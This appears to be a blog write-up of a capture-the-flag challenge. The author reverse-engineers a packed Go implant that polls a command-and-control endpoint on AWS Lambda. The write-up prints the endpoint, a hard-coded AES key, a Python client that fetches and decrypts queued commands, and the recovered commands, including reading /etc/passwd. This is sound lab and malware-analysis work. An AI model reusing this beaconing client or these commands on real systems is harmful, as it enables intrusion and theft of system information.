[pid 27171] connect(4, {sa_family=AF_INET, sin_port=htons(0), sin_addr=inet_addr("3.147.233.58")}, 16) = 0
[pid 27171] getsockname(4, {sa_family=AF_INET, sin_port=htons(38774), sin_addr=inet_addr("10.0.2.15")}, [28 => 16]) = 0
[pid 27171] socket(AF_INET6, SOCK_DGRAM|SOCK_CLOEXEC, IPPROTO_IP) = 4
[pid 27171] connect(4, {sa_family=AF_INET6, sin6_port=htons(0), sin6_flowinfo=htonl(0), inet_pton(AF_INET6, "2600:1f16:fbd:c01:4d60:cf53:51c9:9d9b", &sin6_addr), sin6_scope_id=0}, 28) = -1 ENETUNREACH (Network is unreachable)
[pid 27171] connect(4, {sa_family=AF_UNSPEC, sa_data="\0\0\0\0\0\0\0\0\0\0\0\0\0\0"}, 16) = 0
[pid 27171] connect(4, {sa_family=AF_INET6, sin6_port=htons(0), sin6_flowinfo=htonl(0), inet_pton(AF_INET6, "2600:1f16:fbd:c02:52bd:e45:6bcb:1c88", &sin6_addr), sin6_scope_id=0}, 28) = -1 ENETUNREACH (Network is unreachable)
[pid 27171] connect(4, {sa_family=AF_UNSPEC, sa_data="\0\0\0\0\0\0\0\0\0\0\0\0\0\0"}, 16) = 0
[pid 27171] connect(4, {sa_family=AF_INET6, sin6_port=htons(0), sin6_flowinfo=htonl(0), inet_pton(AF_INET6, "2600:1f16:fbd:c03:70e0:1dc1:ea23:68d", &sin6_addr), sin6_scope_id=0}, 28) = -1 ENETUNREACH (Network is unreachable)
[pid 27171] connect(4, {sa_family=AF_UNSPEC, sa_data="\0\0\0\0\0\0\0\0\0\0\0\0\0\0"}, 16) = 0
[pid 27171] connect(4, {sa_family=AF_INET6, sin6_port=htons(0), sin6_flowinfo=htonl(0), inet_pton(AF_INET6, "2600:1f16:fbd:c03:4d1d:7270:f8aa:2ddb", &sin6_addr), sin6_scope_id=0}, 28) = -1 ENETUNREACH (Network is unreachable)
[pid 27171] connect(4, {sa_family=AF_UNSPEC, sa_data="\0\0\0\0\0\0\0\0\0\0\0\0\0\0"}, 16) = 0
[pid 27171] connect(4, {sa_family=AF_INET6, sin6_port=htons(0), sin6_flowinfo=htonl(0), inet_pton(AF_INET6, "2600:1f16:fbd:c01:9ef7:c4db:cdeb:4fc7", &sin6_addr), sin6_scope_id=0}, 28) = -1 ENETUNREACH (Network is unreachable)
[pid 27171] connect(4, {sa_family=AF_UNSPEC, sa_data="\0\0\0\0\0\0\0\0\0\0\0\0\0\0"}, 16) = 0
[pid 27171] connect(4, {sa_family=AF_INET6, sin6_port=htons(0), sin6_flowinfo=htonl(0), inet_pton(AF_INET6, "2600:1f16:fbd:c02:e070:60e7:8666:6a91", &sin6_addr), sin6_scope_id=0}, 28) = -1 ENETUNREACH (Network is unreachable)
[pid 27171] socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, IPPROTO_IP) = 4
[pid 27171] connect(4, {sa_family=AF_INET, sin_port=htons(443), sin_addr=inet_addr("3.16.20.159")}, 16) = -1 EINPROGRESS (Operation now in progress)
[pid 27175] getsockopt(4, SOL_SOCKET, SO_ERROR, [0], [4]) = 0
[pid 27175] getpeername(4, {sa_family=AF_INET, sin_port=htons(443), sin_addr=inet_addr("3.16.20.159")}, [112 => 16]) = 0
[pid 27175] getsockname(4, {sa_family=AF_INET, sin_port=htons(37916), sin_addr=inet_addr("10.0.2.15")}, [112 => 16]) = 0
[pid 27175] setsockopt(4, SOL_TCP, TCP_NODELAY, [1], 4) = 0
[pid 27175] setsockopt(4, SOL_SOCKET, SO_KEEPALIVE, [1], 4) = 0
[pid 27172] tgkill(27171, 27175, SIGURG <unfinished ...>
[pid 27175] setsockopt(4, SOL_TCP, TCP_KEEPINTVL, [30], 4 <unfinished ...>
[pid 27172] <... tgkill resumed>) = 0
[pid 27175] <... setsockopt resumed>) = 0
[pid 27175] --- SIGURG {si_signo=SIGURG, si_code=SI_TKILL, si_pid=27171, si_uid=1001} ---
[pid 27175] setsockopt(4, SOL_TCP, TCP_KEEPIDLE, [30], 4) = 0
[pid 27172] tgkill(27171, 27175, SIGURG <unfinished ...>
[pid 27175] --- SIGURG {si_signo=SIGURG, si_code=SI_TKILL, si_pid=27171, si_uid=1001} ---
[pid 27172] <... tgkill resumed>) = 0
[pid 27174] exit_group(0) = ?
[pid 27176] +++ exited with 0 +++
[pid 27175] +++ exited with 0 +++
[pid 27174] +++ exited with 0 +++
[pid 27173] +++ exited with 0 +++
[pid 27172] +++ exited with 0 +++
+++ exited with 0 +++
IMAGE
So in summary, what we see from the trace is:
- runs commands
- Resolves a domain (wehiy6oj3hpaud3yske7nrt5xu0lcovj[.]lambda-url[.]us-east-2[.]on[.]aws)
- connects to the domain and sends request
Whois analysis
Just for fun let's analyse the c2 a bit. Maybe there'll be something else hosted there we're supposed to find:
$ whois 3.16.20.159
#
# ARIN WHOIS data and services are subject to the Terms of Use
# available at: https://www.arin.net/resources/registry/whois/tou/
#
# If you see inaccuracies in the results, please report at
# https://www.arin.net/resources/registry/whois/inaccuracy_reporting/
#
# Copyright 1997-2025, American Registry for Internet Numbers, Ltd.
#
NetRange: 3.0.0.0 - 3.127.255.255
CIDR: 3.0.0.0/9
NetName: AT-88-Z
NetHandle: NET-3-0-0-0-1
Parent: NET3 (NET-3-0-0-0-0)
NetType: Direct Allocation
OriginAS:
Organization: Amazon Technologies Inc. (AT-88-Z)
RegDate: 2017-12-20
Updated: 2022-05-18
Ref: https://rdap.arin.net/registry/ip/3.0.0.0
Ok, they're AWS addresses. not super surprising
$ nmap -sV 3.16.20.159
Starting Nmap 7.98 ( https://nmap.org ) at 2025-12-20 13:45 +0000
Stats: 0:00:02 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 4.85% done; ETC: 13:46 (0:00:59 remaining)
Nmap scan report for ec2-3-16-20-159.us-east-2.compute.amazonaws.com (3.16.20.159)
Host is up (0.11s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
443/tcp open ssl/http nginx
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.56 seconds
If we curl it we see it's a lambda. It returns a 403, but also JSON in the body with a "Message".
➜ ~ /usr/bin/curl -vk https://3.16.20.159
* Server certificate:
* subject: CN=*.lambda-url.us-east-2.on.aws
> GET / HTTP/1.1
> Host: 3.16.20.159
> User-Agent: curl/8.5.0
> Accept: */*
>
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
< HTTP/1.1 403 Forbidden
< Date: Sat, 20 Dec 2025 13:46:14 GMT
< Content-Type: application/json
< Content-Length: 16
< Connection: keep-alive
< x-amzn-RequestId: 6c35e884-77f2-4aa9-b447-9eb64c84f605
< x-amzn-ErrorType: AccessDeniedException
<
* Connection #0 to host 3.16.20.159 left intact
{"Message":null}%
proxy legit c2
Proxying the comms we can see the server 401's when sent my VM hostname ubuntu-i3
GET /command?n=ubuntu-i3&s=0 HTTP/1.1
Host: wehiy6oj3hpaud3yske7nrt5xu0lcovj.lambda-url.us-east-2.on.aws
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip
HTTP/1.1 401 Unauthorized
Date: Sat, 20 Dec 2025 13:52:17 GMT
Content-Type: text/plain
Content-Length: 13
Connection: keep-alive
x-amzn-RequestId: dbf60537-0e92-4de2-b636-dcb6ce244fd0
X-Amzn-Trace-Id: Root=1-6946aa11-3390ba5f3f68ae39145b9be9;Parent=4fa6c070a94c7f1b;Sampled=0;Lineage=1:a58bc774:0
What are you?
If we change the hostname sent to monthly-challenge, the name of the vm in the web console of the CTF, we get back what looks like encrypted data.
HTTP/1.1 200 OK
Date: Sat, 20 Dec 2025 13:54:46 GMT
Content-Type: application/octet-stream
Content-Length: 32
Connection: close
x-amzn-RequestId: f44d649b-967c-4e09-bc08-cac13f687faf
X-Amzn-Trace-Id: Root=1-6946aaa6-11172aac4b67ede0389153fe;Parent=0115c3ffa4e77864;Sampled=0;Lineage=1:a58bc774:0
ÙÊàôú*!ñtr8ß>K2x^sÜH~öà
Sending multiple requests appears to get different encrypted responses. So we need to work out how to decrypt the response. This means marrying up the data we have in the static dissassembly with runtime dynamic analysis.
Dynamic analysis.
This is always a bit awkward, at least for me: static analysis tools like ghidra & IDA tend to be very good at static analysis, but can be annoying to get a nice GDB setup with. GDB doesn't have great ways of pulling data from static analysis tools. The best solution is probably to use the debugger in the cutter UI, but with a gdb backend.
But I'm not going to do that, instead im going to try and take the info from the static analysis (rizin) tools, write it back to the binary, and then debug with GDB. his makes the solution a bit more permanent: if I have a labelled binary to work with vs hooking up the debugger and decompiler every time I run it.
This means generating a debug section for the binary, based off of function labels in rizin's DB. Some potential approaches involve:
- 1: generating a GNU symbols file & using GDB's
add-symbols-filecmd to import them at runtime https://davidisaksson.dev/posts/detached-debug-symbols/ https://sourceware.org/gdb/current/onlinedocs/gdb.html/Separate-Debug-Files.html - 2: writing function names directly into ELF
strtabsection
Let's start with technqiue 1:
Attempt 1: compiling GNU symbols file
The steps for this are:
- 1: use rizin to export function names & addresses
- 2: convert to GNU symbol file
- 3: import strings in GDB
# lis labelled functins with addresses from rizin db
rizin -c 'Po test.rzdb; afl > funcs.txt' test
# use awk to create valid "syms.S" file
cat funcs.txt | awk '{
gsub(/0x/, "", $1)
name = $NF
gsub(/[.-]/, "_", name)
printf ".text\n.global %s\n.type %s, @function\n%s = 0x%s\n", name, name, name, $1
}' > syms.S
# use whatever the fuck this is to convert to a .o
as -o syms.o syms.S
(note to self: as is the actual assembler, one of the low level build tools you rarely see by itself if u use higher level language compilers like gcc etc)
This did not work:
Attempt 2: writing symbols into ELF file directly
# nope??
rizin -q -c 'Po test.rzdb; afl' test | while read addr sz blk name; do
clean=$(echo $name | tr '.-' '__')
echo "--add-symbol $clean=$addr,global,function"
done | xargs objcopy test binary_with_syms
objcopy doesnt like that many arguments
BINARY="test"
OUTPUT="${BINARY}_syms"
JSON="$BINARY"_funcs.json
# Exract json function definitions
rizin -q -c "Po $BINARY.rzdb;aflj > $JSON" "$BINARY"
# use LIEF + json parsing to modify binary
python3 batch_add_symbols.py $BINARY $JSON -o $OUTPUT
nm "$OUTPUT" | grep -E "^[0-9a-f]+ T"
After a lot of wrangling the batch_add_symbols script and encountering some fun LIEF errors, this successfully produced a binary with valid symbol information for functions!
Funny thing: after running one of the broken LLM LEIF scripts I somehow broke nm:
➜ upx-recovery-tool git:(main) ✗ nm test_syms
out of memory allocating 5701526400678217 bytes after a total of 18446716414737498792 bytes
Now, in GDB, we can see our functions from rizin!
$ gdb test_syms
pwndbg> info fun a_
0x0000000000639b80 a_unk
0x0000000000639d40 a_mem
0x0000000000639fa0 a_exec
0x000000000063a2a0 a_c2_get
0x000000000063a7c0 a_c2_post
0x000000000063ad00 a_encrypt
0x000000000063aee0 a_decrypt
0x000000000063b180 a_main
info fun a_ lists all functions starting with a_
So for the dynamic analysis we want to do the following:
- intercept web request and replace hostname sent
- break on the encryption to retrieve the key, or after to retrieve the plaintext
- break on any calls to exec to see exacly what args are passed
As we can see from the golang documentation, the argument passed to AES.newCipher is the key, so that's probably where we want the breakpoint: https://pkg.go.dev/crypto/aes#NewCipher. So the function we want to break on is sym_go_crypto_aes_newCipher (note the awk script renames "." to "_" s they're valid function names )
(with match & replace rule ubuntu-i3 -> monthly-challenge in caido)
$ export HTTPS_PROXY="http://localhost:8080"
$ export HTTP_PROXY="http://localhost:8080"
$ gdb -c "set follow-fork-mode parent;break sym_go_crypto_aes_newCipher" test_syms
We encounter the following breakpoint:
RAX 0xc0000c7c88 ◂— 0x48cea0a13facee73
RBX 0x10
RCX 0x20
RDX 0x20
RDI 0xc000186000 ◂— 0x29192d84be06cabc
RSI 0x20
R8 0x200
R9 0x77
R10 7
R11 1
R12 0
R13 0
R14 0xc0000021a0 —▸ 0xc0000c6000 —▸ 0xc0000c8000 —▸ 0xc0000c2000 —▸ 0xc0000c4000 ◂— ...
R15 0x7fffd11ef703 ◂— 0x11f6
RBP 0xc0000c7c00 —▸ 0xc0000c7ea8 —▸ 0xc0000c7f70 —▸ 0xc0000c7fd0 ◂— 0
RSP 0xc0000c7b98 ◂— 0xa0d0a0d303a3437 ('74:0\r\n\r\n')
*RIP 0x63af15 (a_decrypt+53) ◂— call sym_go_crypto_aes_NewCipher
───────────────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────────────────────────
0x63aef3 <a_decrypt+19> lea rbp, [rsp + 0x68] RBP => 0xc0000c7c00 —▸ 0xc0000c7ea8 —▸ 0xc0000c7f70 ◂— ...
0x63aef8 <a_decrypt+24> mov qword ptr [rsp + 0x78], rax [0xc0000c7c10] <= 0xc0000c7c88 ◂— 0x48cea0a13facee73
0x63aefd <a_decrypt+29> mov qword ptr [rsp + 0x98], rsi [0xc0000c7c30] <= 0x20
0x63af05 <a_decrypt+37> mov qword ptr [rsp + 0xa0], r8 [0xc0000c7c38] <= 0x200
0x63af0d <a_decrypt+45> mov qword ptr [rsp + 0x90], rdi [0xc0000c7c28] <= 0xc000186000 ◂— 0x29192d84be06cabc
► 0x63af15 <a_decrypt+53> call sym_go_crypto_aes_NewCipher <sym_go_crypto_aes_NewCipher>
rdi: 0xc000186000 ◂— 0x29192d84be06cabc <- ptr to data
rsi: 0x20 <- 32
rdx: 0x20
rcx: 0x20
pwndbg> x/32xb 0xc000186000
0xc000186000: 0xbc 0xca 0x06 0xbe 0x84 0x2d 0x19 0x29
0xc000186008: 0x0e 0xa1 0x4c 0xc8 0x77 0xd5 0xb2 0xe1
0xc000186010: 0xff 0x48 0xa2 0xf2 0x9a 0x50 0x57 0x9c
0xc000186018: 0x25 0x80 0xfd 0xe8 0x70 0x12 0x7c 0x84
(to help with the abve I wrote a super simple golang encyptor / decryptor and debugged it to see where the key etc were parsed)
This revelaed that my analysis of calling conventions was wrong: compiled golang doesn't use the standard calling convention for x64 (rdi,rsi,rdx,rcx ), but instead uses rax,rbx,rcx,rdi,rsi,r8... To simplify this I made the following function in gdb to print args:
define xslice
set $ptr = $rax
set $len = $rbx
eval "x/%dxb $ptr", $len
end
define goargs
printf "arg1 (RAX): 0x%lx\n", $rax
printf "arg2 (RBX): 0x%lx\n", $rbx
printf "arg3 (RCX): 0x%lx\n", $rcx
xslice
printf "arg4 (RDI): 0x%lx\n", $rdi
printf "arg5 (RSI): 0x%lx\n", $rsi
printf "arg6 (R8): 0x%lx\n", $r8
end
We can see this works, by printing the arguments to the json unmarshall function and finding the payload sent to it from he config file, that also happens to show the AES decryption key:
pwndbg> goargs
arg1 (RAX): 0xc000104000
arg2 (RBX): 0x8f
arg3 (RCX): 0x90
0xc000104000: 0x7b 0x0a 0x20 0x20 0x22 0x73 0x65 0x72
0xc000104008: 0x76 0x65 0x72 0x22 0x3a 0x20 0x22 0x68
0xc000104010: 0x74 0x74 0x70 0x73 0x3a 0x2f 0x2f 0x77
0xc000104018: 0x65 0x68 0x69 0x79 0x36 0x6f 0x6a 0x33
0xc000104020: 0x68 0x70 0x61 0x75 0x64 0x33 0x79 0x73
0xc000104028: 0x6b 0x65 0x37 0x6e 0x72 0x74 0x35 0x78
0xc000104030: 0x75 0x30 0x6c 0x63 0x6f 0x76 0x6a 0x2e
0xc000104038: 0x6c 0x61 0x6d 0x62 0x64 0x61 0x2d 0x75
0xc000104040: 0x72 0x6c 0x2e 0x75 0x73 0x2d 0x65 0x61
0xc000104048: 0x73 0x74 0x2d 0x32 0x2e 0x6f 0x6e 0x2e
0xc000104050: 0x61 0x77 0x73 0x2f 0x63 0x6f 0x6d 0x6d
0xc000104058: 0x61 0x6e 0x64 0x22 0x2c 0x0a 0x20 0x20
0xc000104060: 0x22 0x65 0x6e 0x63 0x5f 0x6b 0x65 0x79
0xc000104068: 0x22 0x3a 0x20 0x22 0x37 0x33 0x65 0x65
0xc000104070: 0x61 0x63 0x33 0x66 0x61 0x31 0x61 0x30
0xc000104078: 0x63 0x65 0x34 0x38 0x66 0x33 0x38 0x31
0xc000104080: 0x63 0x61 0x31 0x65 0x36 0x64 0x37 0x31
0xc000104088: 0x66 0x30 0x37 0x37 0x22 0x0a 0x7d
arg4 (RDI): 0x64f220
arg5 (RSI): 0xc0000b4020
arg6 (R8): 0x8
pwndbg> x/s 0xc000104000
0xc000104000: "{\n \"server\": \"https://wehiy6oj3hpaud3yske7nrt5xu0lcovj.lambda-url.us-east-2.on.aws/command\",\n \"enc_key\": \"73eeac3fa1a0ce48f381ca1e6d71f077\"\n}\001"
As it happens I'd seen the key earlier in a pointer in a register and
now we have the key, time to find the IV. This is in the 2nd argument to the function NewCBCDecrypter (https://pkg.go.dev/crypto/cipher#example-NewCBCDecrypter)
These are the arguments, and I've labelled what I think they are:
# func NewCBCEncrypter(b Block, iv []byte) BlockMode
pwndbg> goargs
arg1 (RAX): 0x718910 # < ---- I think pointer to b Block
arg2 (RBX): 0xc000094120
arg3 (RCX): 0xc0000a8000 # I think pointer to IV
arg4 (RDI): 0x10 # I think length of IV (16)
arg5 (RSI): 0x200 # I think total allocated size of IV buffer
arg6 (R8): 0xc0000a8010 # if RCX is not IV maybe this is
pwndbg> x/16xb 0xc0000a8000
0xc0000a8000: 0xd0 0x54 0xdd 0xce 0x82 0xcc 0x91 0x6a
0xc0000a8008: 0xa6 0x68 0xbd 0xdc 0x74 0xc2 0x7c 0xa8
pwndbg>
If we plug this IV alongside the response body to cyberchef, we get our "whoami" command out :
cyberchef img
we can also see that we didn't even need to do this, somewhat obviously the IV is the first 16 bytes of the packet, and the ciphertext the next 16. This is the same client->server as server-> client:
/usr/bin/curl -k \
'https://wehiy6oj3hpaud3yske7nrt5xu0lcovj.lambda-url.us-east-2.on.aws/command?n=monthly-challenge&s=0'
-H $'Host: wehiy6oj3hpaud3yske7nrt5xu0lcovj.lambda-url.us-east-2.on.aws'
-H $'User-Agent: Go-http-client/1.1'
-H $'Accept-Encoding: gzip' | hexdump
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 32 100 32 0 0 104 0 --:--:-- --:--:-- --:--:-- 104
0000000 4f1a ae09 77ee 2f5d c2b8 8d8c 4cbb 7466 <- IV
0000010 6192 746b f823 00f5 c815 8458 4f61 4456 < - block
Ok so we've decrypted the comms so far, but not actually seen a flag. Presumably the flag comes from the server in an encrypted response to some client message.
If we look at the command request we see an s parameter that changes from 1->2 upon subsequent requests.
GET /command?n=ubuntu-i3&s=2 HTTP/1.1
Host: wehiy6oj3hpaud3yske7nrt5xu0lcovj.lambda-url.us-east-2.on.aws
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip
The s parameter probably represents some command sequence, so let's just fuzz that and decrypt all the responses:
#!/usr/bin/env python3
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
KEY = bytes.fromhex('73eeac3fa1a0ce48f381ca1e6d71f077')
def get_command(i: int):
URL = f'https://wehiy6oj3hpaud3yske7nrt5xu0lcovj.lambda-url.us-east-2.on.aws/command?n=monthly-challenge&s={i}'
resp = requests.get(URL, verify=False)
print(f"[+] Status: {resp.status_code}")
data = resp.content
if resp.status_code == 200 and len(data) > 16:
IV = data[:16]
data = pad(data[16:],16)
cipher = AES.new(KEY, AES.MODE_CBC, IV)
plaintext = cipher.decrypt(data)
print(f'Payload {i}:\n{plaintext}')
if __name__ == '__main__':
for i in range(30):
get_command(i)
$ python3 query_commands.py
[+] Status: 200
32
Payload 0:
b'whoami\n\n\n\n\n\n\n\n\n\n\xb2\xd98\x08@\x12cU\xbd2L\x0e\x90\xc6\x9e\x9a'
[+] Status: 200
32
Payload 1:
b'id\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x00(\xa3\xc0*\xc2j\xa9\xdb\x0e9\xefVW=B'
[+] Status: 200
32
Payload 2:
b'cat /etc/passwd\x01\xadM\x89\xc0\x94\x97\xc9\x96\xdb\x1b\xa4\x98\xa2q\xec\x9d'
[+] Status: 200
64
Payload 3:
b"DONE WIZ_CTF{The_Ghost_In_The_Machine}\n\n\n\n\n\n\n\n\n\n=f\xf1\xaf\xd0'3<R|\xaf\xa7\x0e\xab\xd4g"
[+] Status: 200
32
Payload 4:
b'whoami\n\n\n\n\n\n\n\n\n\n\x84y\x05V?\xcd\xd1\x8d\x1f\x8a\xc5\x81\xeb\xd2EK'
And here we have it.
summary
Wrapping up
Ok, so in the end I hugely overcomplicated things as usual.
The "golden path" for solving this probably looks like:
- strace the binary and find the cnfig file interaction
- pull config file from ctf server to local
- fixup the UPX
- extract the original go bin
- open in cutter
- debug using cutter native debugger, breaking on JSON unmarshall function
- extract hard coded encrypion key
- notice C2 comms seems to be IV + ciphertext, verify with key
- iterate over
sparameter and get flag.
But here's the new stuff wot I learned:
-
The Claude LLM is weak at detailed debugging / RE:
- it often has good ideas in principle, but messes up the details or misses key gotchas.
- It tends to be over-optimistic about the inter-operability of tools
- It hallucinates a lot of properties & functions in less well known libraries such as LIEF / radare2
by dumping memory maps you can partially reconstruct binaries unpacked from GDB, but not fully
https://github.com/NozomiNetworks/upx-recovery-tool works well for actually fixing and recovering binaries
-
pwndbg is nicer than peda
- but for some reason catch breakpoints trigger after syscalls not before (maybe just my system)
cutter scripts are awkward and have to be a full on plugin
-
go binaries look scary to analyse, but thanks to the community are easier than you think, largely due to these projects:
- https://github.com/mandiant/GoReSym
- https://github.com/goretk/redress
- cutter / rizin can auto analyse go bins and label standard library functions
rizin is cool and helpful when trying to automate analysis in bash
some nifty docker cmds for building isolated containers for quick analysis
strace -s 9999shows full lines and doesn't shorten stuff